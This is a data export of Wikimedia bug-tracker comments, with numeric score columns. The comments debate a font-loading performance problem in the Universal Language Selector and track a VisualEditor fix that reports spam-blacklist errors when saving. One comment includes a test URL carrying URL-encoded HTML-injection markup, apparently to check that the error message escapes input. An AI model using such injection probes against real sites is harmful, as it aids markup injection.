> work and various other performance problems. It's good that you've dug into
> the
> code and pinpointed some specific problems, but please be less adversarial.
> Measuring and optimizing client-side performance is hard enough to do when
> you
> aren't under attack; calling a developer's code ""asinine"" or ""disgusting"" is
> not likely to make it any easier.

you are correct that my style is/was a bit abrasive, and for this i apologize. however, the ULS team demonstrated pretty bad behavior of its own: please review the way Siebard responded on bug 49935 .
in addition, turning it on on many wikis before cleaning the very serious performance issues (and causing browsers to freeze _is_ very serious issue), and then arguing that this thing should not have a disable switch in user preference is just wrong.

peace.",,,1373437720,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,False,,,1,,1.0,0.0,1.5,0.0,1.0,6.0,2.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,1.0,0.0,5.0,9.0,0.0,1.5,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.5,1.5,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,1.0,14.0,0.0,1.5,0.0,1.0,0.0,0.0,0.5,0.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.5,3.0,7.5,1.5,2.0,5.5,0.0,0.0,0.0,0.5,3.0,1.0,1.5,0.0,3.0,9.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,1.5,0.0,3.0,0.0,0.0,0.0,3.738095238095238,0.7380952380952381,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

you are correct that my style is/was a bit abrasive, and for this i apologize. however, the ULS team demonstrated pretty bad behavior of its own: please review the way Siebard responded on bug 49935 .
in addition, turning it on on many wikis before cleaning the very serious performance issues (and causing browsers to freeze _is_ very serious issue), and then arguing that this thing should not have a disable switch in user preference is just wrong.

peace."
237904,Loading a page which requires many fonts causes high CPU load,"i think you missed the main point: when we call ""load"" with a font family such that this.getCSS() returns false (e.g. ""sans-serif"" on my browser), we do not cache the result. calling getCSS() is orders of magnitude more expensive than the search, regardless of whether the search is done the right way (through hash) or the wrong way (through $.inArray).

as to profiling: the real test is to have ~20 entries in the font table (like in [[en:Japan]]), and then measure how long does it take to look for a font _which is not in the list_, which is what happens today, thanks to the problem mentioned above. you'll see that the search takes significantly longer than it should.

still, the main problem is not the inefficient search, but rather calling getCSS thousands (or tens of thousands - depends on the page content) of times instead of once per each font family present on the page.

as to why we call ""load"" so many times: easy. set a breakpoint, and follow the call stack upward until you'll find the call that's inside an .each() loop.


peace.",,,1373437177,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,False,,,1,,0.6666666666666666,0.0,0.0,0.3333333333333333,1.0,5.666666666666667,1.0,0.0,0.0,0.0,2.3333333333333335,0.6666666666666666,0.0,0.0,0.0,1.6666666666666667,0.0,7.333333333333333,10.666666666666666,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,5.333333333333333,1.0,0.6666666666666666,0.3333333333333333,1.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,15.666666666666666,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,7.666666666666667,2.0,0.3333333333333333,2.0,2.0,8.666666666666666,0.0,0.0,0.0,0.0,3.6666666666666665,0.3333333333333333,0.3333333333333333,0.0,3.3333333333333335,10.666666666666666,1.6666666666666667,0.0,2.0,0.0,3.3333333333333335,0.0,2.3333333333333335,1.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,0.0,1.0,3.555605741242598,0.7266887483689651,"i think you missed the main point: when we call ""load"" with a font family such that this.getCSS() returns false (e.g. ""sans-serif"" on my browser), we do not cache the result. calling getCSS() is orders of magnitude more expensive than the search, regardless of whether the search is done the right way (through hash) or the wrong way (through $.inArray).

as to profiling: the real test is to have ~20 entries in the font table (like in [[en:Japan]]), and then measure how long does it take to look for a font _which is not in the list_, which is what happens today, thanks to the problem mentioned above. you'll see that the search takes significantly longer than it should.

still, the main problem is not the inefficient search, but rather calling getCSS thousands (or tens of thousands - depends on the page content) of times instead of once per each font family present on the page.

as to why we call ""load"" so many times: easy. set a breakpoint, and follow the call stack upward until you'll find the call that's inside an .each() loop.


peace."
237899,Loading a page which requires many fonts causes high CPU load,"(In reply to comment #1)
> clearly, the right thing to do here is to collect all the different CSS bits
> and pieces you want to inject, and call injectCSS() exactly once.

I've only noted a single repaint in Chrome Dev Tools on https://en.wikipedia.org/wiki/Tower_of_babel, and I'm not sure yet if it's attributable to ULS. But any form of DOM access is expensive, so the recommendation above is entirely sound.

> the function ""load"" is also asinine, and can cause a high load:
> 
> it has two problems: one of them is using $.inArray() to test whether this
> fontface was already loaded: this means linear search on the array every
> single time

Hash tables lookups are worse than linear searches for arrays of this size due to the cost of computing the hash and the relatively poorer locality. (In fact, modern JS engines don't even implement property lookups as hash tables, but I figure that was what you had in mind when you recommended hasOwnProperty instead of $.inArray).

https://en.wikipedia.org/wiki/Tower_of_babel has four fontFamilies: ""Amiri"", ""Akkadian"", ""AbyssinicaSIL"", and ""CharisSIL"". I used this to profile object vs. array lookup:

> var myArray = [""Amiri"", ""Akkadian"", ""AbyssinicaSIL"", ""CharisSIL""];
> console.time('$.inArray'); for(var i = 0; i < 10000; i++) $.inArray('abc', myArray); console.timeEnd('$.inArray');
$.inArray: 18.029ms
> var myObj = {""Amiri"": null, ""Akkadian"": null, ""AbyssinicaSIL"": null, ""CharisSIL"": null};
> console.time('hasOwnProperty'); for(var i = 0; i < 10000; i++) myObj.hasOwnProperty('abc'); console.timeEnd('hasOwnProperty');
hasOwnProperty: 13.161ms

The difference per call works out to just under half of one millionth of a second, certainly not enough to warrant calling either approach 'asinine'. I am running a recent build of Chromium, but I'd wager the difference even for older browsers would not cross the threshold of significance.

It is a bit bizarre that load() has to be called 877 times on that page, though. That should be investigated.

ULS contains quite a lot of new JavaScript and CSS code, so it is reasonable to expect that a close scrutiny of the code will reveal some measure of duplicate work and various other performance problems. It's good that you've dug into the code and pinpointed some specific problems, but please be less adversarial. Measuring and optimizing client-side performance is hard enough to do when you aren't under attack; calling a developer's code ""asinine"" or ""disgusting"" is not likely to make it any easier.",,,1373414464,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,True,,,1,,1.0,0.0,0.25,0.5,1.5,7.0,2.25,0.0,0.25,0.25,1.5,2.0,0.0,0.25,0.0,1.5,0.25,5.25,10.75,0.0,1.75,0.25,0.0,0.0,1.25,0.5,0.0,0.25,0.0,0.75,0.0,5.25,0.75,1.25,0.75,1.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.25,16.0,0.5,0.75,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.25,0.5,0.75,0.0,0.0,0.25,0.0,0.0,4.0,3.25,10.5,1.5,4.0,6.75,0.0,0.0,0.0,0.25,3.25,0.25,2.0,0.0,3.75,10.75,5.5,0.0,3.5,0.0,3.75,0.0,0.75,1.75,0.0,1.5,1.25,0.0,0.0,3.948817486860965,0.726887243191591,"(In reply to comment #1)
QUOTE
QUOTE

I've only noted a single repaint in Chrome Dev Tools on URL and I'm not sure yet if it's attributable to ULS. But any form of DOM access is expensive, so the recommendation above is entirely sound.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Hash tables lookups are worse than linear searches for arrays of this size due to the cost of computing the hash and the relatively poorer locality. (In fact, modern JS engines don't even implement property lookups as hash tables, but I figure that was what you had in mind when you recommended hasOwnProperty instead of $.inArray).

URL has four fontFamilies: ""Amiri"", ""Akkadian"", ""AbyssinicaSIL"", and ""CharisSIL"". I used this to profile object vs. array lookup:

QUOTE
QUOTE
$.inArray: 18.029ms
QUOTE
QUOTE
hasOwnProperty: 13.161ms

The difference per call works out to just under half of one millionth of a second, certainly not enough to warrant calling either approach 'asinine'. I am running a recent build of Chromium, but I'd wager the difference even for older browsers would not cross the threshold of significance.

It is a bit bizarre that load() has to be called 877 times on that page, though. That should be investigated.

ULS contains quite a lot of new JavaScript and CSS code, so it is reasonable to expect that a close scrutiny of the code will reveal some measure of duplicate work and various other performance problems. It's good that you've dug into the code and pinpointed some specific problems, but please be less adversarial. Measuring and optimizing client-side performance is hard enough to do when you aren't under attack; calling a developer's code ""asinine"" or ""disgusting"" is not likely to make it any easier."
237892,Loading a page which requires many fonts causes high CPU load,"I've requested ULS be disabled, this has taken too long, it's annoying ppl without reason.

https://bugzilla.wikimedia.org/show_bug.cgi?id=51070",,,1373404117,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,5.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6818181818181817,0.9545454545454546,"I've requested ULS be disabled, this has taken too long, it's annoying ppl without reason.

URL"
237886,Loading a page which requires many fonts causes high CPU load,"Why was this set back to UNCONFIRMED?  Lots of people have experienced this, and kipod has even identified the fix.",,,1373267032,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,12.0,4.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.9583333333333334,"Why was this set back to UNCONFIRMED?  Lots of people have experienced this, and kipod has even identified the fix."
237879,Loading a page which requires many fonts causes high CPU load,"P.S: i used ""abnormal"" to signify that getCSS() returnd false, when called with this font family and variant ""normal"". i do not think this is a good name - maybe ""empty"" of ""builtin"" or something similar will be better, as long as one can be confident it's not a valid fontFamily name. it has to eveluate as boolean true, though, so you can;t use false or empty string.

alternatively, false can work, as long as you modify the first line to

if ( this.fonts.hasOwnProperty( fontFamily ) )

so the thing becomes

load: function( fontFamily ) {
    if ( this.fonts.hasOwnProperty( fontFamily ) )
        return this.fonts[fontFamily];
    var styleString = this.getCSS( fontFamily, 'normal' );
    if ( styleString ) {
        injectCSS( styleString );
        return this.fonts[fontFamily] = true;
    }
    return this.fonts[fontFamily] = false;
}

(for brevity, assign and return on one line - don't do it in real life).

peace.",,,1373059269,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,False,,,0,,0.0,0.3333333333333333,0.0,0.0,1.0,7.666666666666667,1.0,0.0,0.3333333333333333,1.0,2.3333333333333335,1.3333333333333333,0.0,0.0,0.0,0.6666666666666666,1.3333333333333333,7.0,5.666666666666667,0.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,4.333333333333333,0.6666666666666666,1.0,0.0,0.6666666666666666,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,6.333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,1.3333333333333333,1.0,0.3333333333333333,1.6666666666666667,1.6666666666666667,2.0,0.0,0.0,0.0,0.0,4.333333333333333,0.0,0.3333333333333333,0.0,2.6666666666666665,5.666666666666667,0.6666666666666666,0.0,3.6666666666666665,0.0,2.6666666666666665,0.0,0.3333333333333333,0.6666666666666666,0.0,1.0,0.3333333333333333,0.0,1.3333333333333333,3.926470588235294,0.6617647058823529,"P.S: i used ""abnormal"" to signify that getCSS() returnd false, when called with this font family and variant ""normal"". i do not think this is a good name - maybe ""empty"" of ""builtin"" or something similar will be better, as long as one can be confident it's not a valid fontFamily name. it has to eveluate as boolean true, though, so you can;t use false or empty string.

alternatively, false can work, as long as you modify the first line to

if ( this.fonts.hasOwnProperty( fontFamily ) )

so the thing becomes

load: function( fontFamily ) {
    if ( this.fonts.hasOwnProperty( fontFamily ) )
        return this.fonts[fontFamily];
    var styleString = this.getCSS( fontFamily, 'normal' );
    if ( styleString ) {
        injectCSS( styleString );
        return this.fonts[fontFamily] = true;
    }
    return this.fonts[fontFamily] = false;
}

(for brevity, assign and return on one line - don't do it in real life).

peace."
237871,Loading a page which requires many fonts causes high CPU load,"the function ""load"" is also asinine, and can cause a high load:

it has two problems: one of them is using $.inArray() to test whether this fontface was already loaded: this means linear search on the array every single time (that is, for every single html element with either ""lang"", ""style"" or ""class"" attributes on the page!), and for pages with large number of elements, this can be significant. whats more, there is no reason not to add the font family to the list even when it's not found, to save us some work with future elements with same font family.

even worse, when getCSS() returns ""false"" (which it does for 99% of the elemnts, e.g. when fontFamily is sans-serif), we don't mark this font family as ""tested"", so when we find the next element with sans-serif, we do all this work again.

from performance POV, this is atrocious.


here is a better version of load() - 100% untested.

load: function( fontFamily ) {
	if ( this.fonts[fontFamily] ) 
		return this.fonts[fontFamily] != ""abnormal""; 
// does the font have ""normal"" face?

	var styleString = this.getCSS( fontFamily, 'normal' );
	if ( styleString ) {
		injectCSS( styleString );
		this.fonts[fontFamily] = true;
		return true;
	}
	// Font does not have ""normal"" face.
	this.fonts[fontFamily] = ""abnormal"";
	return false;
}


note that ""this.fonts"" here is an object rather than an array (to save the linear searches), so it should be initialized to  {} rather than [].

peace.",,,1373058592,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-j7v3ex7edi7dypukus5m,task_subcomment,,True,c1,3,False,,,0,,1.0,0.0,0.0,0.5,1.0,7.0,1.25,0.0,0.0,0.5,0.75,0.75,0.0,0.0,0.25,1.0,0.75,6.75,7.5,0.0,1.0,0.25,0.0,0.0,0.25,0.0,0.0,0.0,0.5,0.0,0.25,5.75,1.25,1.0,0.5,0.0,0.0,0.25,1.25,0.0,0.25,0.25,0.25,1.75,0.0,0.5,0.0,0.0,0.0,10.5,1.25,0.75,0.5,0.25,0.0,0.0,0.0,0.0,0.5,0.0,0.75,1.0,0.0,0.25,0.0,0.0,0.0,3.25,2.75,0.5,2.0,1.25,6.75,0.0,0.0,0.5,0.0,3.25,0.0,1.25,0.0,2.25,7.5,1.25,0.25,6.25,0.0,2.25,0.0,1.5,1.0,0.5,0.75,0.75,0.0,1.5,3.481422369765066,0.6656984167517876,"the function ""load"" is also asinine, and can cause a high load:

it has two problems: one of them is using $.inArray() to test whether this fontface was already loaded: this means linear search on the array every single time (that is, for every single html element with either ""lang"", ""style"" or ""class"" attributes on the page!), and for pages with large number of elements, this can be significant. whats more, there is no reason not to add the font family to the list even when it's not found, to save us some work with future elements with same font family.

even worse, when getCSS() returns ""false"" (which it does for 99% of the elemnts, e.g. when fontFamily is sans-serif), we don't mark this font family as ""tested"", so when we find the next element with sans-serif, we do all this work again.

from performance POV, this is atrocious.


here is a better version of load() - 100% untested.

load: function( fontFamily ) {
	if ( this.fonts[fontFamily] ) 
		return this.fonts[fontFamily] != ""abnormal""; 
// does the font have ""normal"" face?

	var styleString = this.getCSS( fontFamily, 'normal' );
	if ( styleString ) {
		injectCSS( styleString );
		this.fonts[fontFamily] = true;
		return true;
	}
	// Font does not have ""normal"" face.
	this.fonts[fontFamily] = ""abnormal"";
	return false;
}


note that ""this.fonts"" here is an object rather than an array (to save the linear searches), so it should be initialized to  {} rather than [].

peace."
52826,VisualEditor: Add support for spam blacklist errors in save dialog,"If a user hits the spam blacklist they VE responds merely by informing them ""Error: Invalid error code"". This is...not helpful.

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1373053740,1374016034.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-redwc5kkxwdmnoyvkj7r,task_description,resolved,True,c1,3,False,False,True,0,,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,15.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,2.0,0.0,4.0,0.0,4.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,3.869565217391304,0.7391304347826086,"If a user hits the spam blacklist they VE responds merely by informing them ""Error: Invalid error code"". This is...not helpful.

--------------------------
**Version**: unspecified
**Severity**: major"
237287,VisualEditor: Add support for spam blacklist errors in save dialog,Fixed and will be going out in a few minutes.,,,1374016034,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-redwc5kkxwdmnoyvkj7r,task_subcomment,,True,c1,3,True,,,2,,9.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,3.272727272727273,1.0,Fixed and will be going out in a few minutes.
237283,VisualEditor: Add support for spam blacklist errors in save dialog,"Change 73964 merged by jenkins-bot:
mw.ViewPageTarget: Add support for spam blacklist

https://gerrit.wikimedia.org/r/73964",,,1374015128,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-redwc5kkxwdmnoyvkj7r,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.4,0.95,"Change 73964 merged by jenkins-bot:
mw.ViewPageTarget: Add support for spam blacklist

GERRIT_URL"
237280,VisualEditor: Add support for spam blacklist errors in save dialog,"Though I knew that the SpamBlacklist has logic in place for returning multiple urls (bug 30332, Ia951d5795c5cedb) it didn't seem to work.

Apparently it does work now. I can't consistently reproduce it only giving one. I'll presume it was an error on my part or an edge case in the regex SpamBlacklist is using and complex wikitext as input.

I've amended the patch set to display multiple urls separated by comma if there is more than one.",,,1374010951,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-redwc5kkxwdmnoyvkj7r,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,2.0,4.0,1.0,0.0,1.0,1.0,3.0,4.0,0.0,1.0,1.0,5.0,0.0,7.0,13.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,2.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,14.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,5.0,3.0,10.0,3.0,2.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,10.0,13.0,4.0,0.0,0.0,0.0,10.0,0.0,0.0,2.0,0.0,3.0,1.0,0.0,0.0,4.021978021978022,0.7472527472527473,"Though I knew that the SpamBlacklist has logic in place for returning multiple urls (bug 30332, Ia951d5795c5cedb) it didn't seem to work.

Apparently it does work now. I can't consistently reproduce it only giving one. I'll presume it was an error on my part or an edge case in the regex SpamBlacklist is using and complex wikitext as input.

I've amended the patch set to display multiple urls separated by comma if there is more than one."
237277,VisualEditor: Add support for spam blacklist errors in save dialog,"Change 73964 had a related patch set uploaded by Krinkle:
mw.ViewPageTarget: Add support for spam blacklist

https://gerrit.wikimedia.org/r/73964",,,1373983650,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-redwc5kkxwdmnoyvkj7r,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.565217391304348,0.9565217391304348,"Change 73964 had a related patch set uploaded by Krinkle:
mw.ViewPageTarget: Add support for spam blacklist

GERRIT_URL"
237270,VisualEditor: Add support for spam blacklist errors in save dialog,"So we get the matched url from the API. Ideally we'd get a usable message as well.

Given the following sample (and latest mediawiki/core and SpamBlacklist configured with [[m:Spam_blacklist]])


* [http://cl.ly/foo/?bar=%22%3Equ%3Cb%3Eu%3C%2Fb%3Ex%3Ca%20href%3D%22 d]
* [http://fidosoft.de fidosoft]

index.php?action=submit gives the following:

> The text you wanted to save was blocked by the spam filter. This is probably caused by a link to a blacklisted external site.
> The following text is what triggered our spam filter: http://fidosoft.de and http://cl.ly

These are constructed in EditPage::spamPageWithContent by the ""spamprotectiontext"" and ""spamprotectionmatch"" messages respectively, which are actually in mediawiki core. The latter message takes $1 as parameter and EditPage.php sets that to the result of Language::listToText( Array ).

The API gives:

        ""edit"": {
            ""spamblacklist"": ""http://cl.ly"",
            ""result"": ""Failure""
        }

For some reason it isn't getting the second url? The SpamBlacklist API hook looks like it is doing `implode( '|', Array )` but aside from an array being nicer than a pipe-separated list, we're not getting either. Only the first url is returned.

So either:

1) SpamBlacklist needs to provide a processed message

or:

* SpamBlacklist needs to provide both urls, not just the first (I tested latest master, SpamBlacklist@3390081e4c6). Though this bug should be fixed either way, if we don't get a processed message, needing both is a blocker.
* We'll load these 2 core messages as part of ve.init.mw.ViewPageTarget
* We'll need an equivalent of Language::listToText in core mediawiki.language.js (though I suppose join(', ')  could do meanwhile).",,,1373983097,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-redwc5kkxwdmnoyvkj7r,task_subcomment,,True,c1,3,True,,,2,,0.3333333333333333,0.0,0.0,1.0,1.3333333333333333,3.3333333333333335,1.0,0.0,0.6666666666666666,0.3333333333333333,2.0,2.6666666666666665,0.0,0.3333333333333333,0.0,2.6666666666666665,0.0,5.666666666666667,7.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,1.0,0.3333333333333333,5.666666666666667,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,15.666666666666666,0.3333333333333333,1.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,6.333333333333333,2.6666666666666665,12.333333333333334,1.0,2.0,9.333333333333334,0.0,0.0,0.0,0.0,3.0,0.0,1.3333333333333333,0.0,3.3333333333333335,7.0,4.333333333333333,0.3333333333333333,5.0,0.0,3.3333333333333335,0.0,0.3333333333333333,2.3333333333333335,0.0,1.6666666666666667,0.3333333333333333,0.6666666666666666,1.6666666666666667,4.163265306122448,0.6768707482993196,"So we get the matched url from the API. Ideally we'd get a usable message as well.

Given the following sample (and latest mediawiki/core and SpamBlacklist configured with [[m:Spam_blacklist]])


* [URL d]
* [URL fidosoft]

index.php?action=submit gives the following:

QUOTE
QUOTE

These are constructed in EditPage::spamPageWithContent by the ""spamprotectiontext"" and ""spamprotectionmatch"" messages respectively, which are actually in mediawiki core. The latter message takes $1 as parameter and EditPage.php sets that to the result of Language::listToText( Array ).

The API gives:

        ""edit"": {
            ""spamblacklist"": ""URL
            ""result"": ""Failure""
        }

For some reason it isn't getting the second url? The SpamBlacklist API hook looks like it is doing CODE but aside from an array being nicer than a pipe-separated list, we're not getting either. Only the first url is returned.

So either:

1) SpamBlacklist needs to provide a processed message

or:

* SpamBlacklist needs to provide both urls, not just the first (I tested latest master, SpamBlacklist@3390081e4c6). Though this bug should be fixed either way, if we don't get a processed message, needing both is a blocker.
* We'll load these 2 core messages as part of ve.init.mw.ViewPageTarget
* We'll need an equivalent of Language::listToText in core mediawiki.language.js (though I suppose join(', ')  could do meanwhile)."
237261,VisualEditor: Add support for spam blacklist errors in save dialog,"**joedecker** wrote:

Sounds like y'all have screen shots, but for those of us playing the home game, when I press ""Save Page"" on a blacklist-blocked edit, that window (with the edit summary, etc.) stays up, and ""Error: Unknown error"" appears below the edit summary box, to the left of and slightly higher than the Review your edits/Save page buttons--the latter inactive.

MacOSX/Chrome 28.0.1500.71, tested with an examiner.com URL at [[Chad Griffin]] with an incognito window/logged out.",,,1373952568,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-redwc5kkxwdmnoyvkj7r,task_subcomment,,True,c1,3,False,,,2,,0.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,2.0,9.5,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.5,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,9.5,0.5,2.0,8.5,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,2.5,9.5,7.0,0.0,2.5,0.0,2.5,0.0,0.5,2.5,0.5,0.5,1.0,0.0,4.5,3.630066545674531,0.8000604960677555,"**joedecker** wrote:

Sounds like y'all have screen shots, but for those of us playing the home game, when I press ""Save Page"" on a blacklist-blocked edit, that window (with the edit summary, etc.) stays up, and ""Error: Unknown error"" appears below the edit summary box, to the left of and slightly higher than the Review your edits/Save page buttons--the latter inactive.

MacOSX/Chrome 28.0.1500.71, tested with an examiner.com URL at [[Chad Griffin]] with an incognito window/logged out."
237253,VisualEditor: Add support for spam blacklist errors in save dialog,"Created attachment 12821
Developer console dump

A very helpful user in #wikipedia-en-help gave me this screenshot of what we get back from the API when TitleBlacklist rejects an edit.

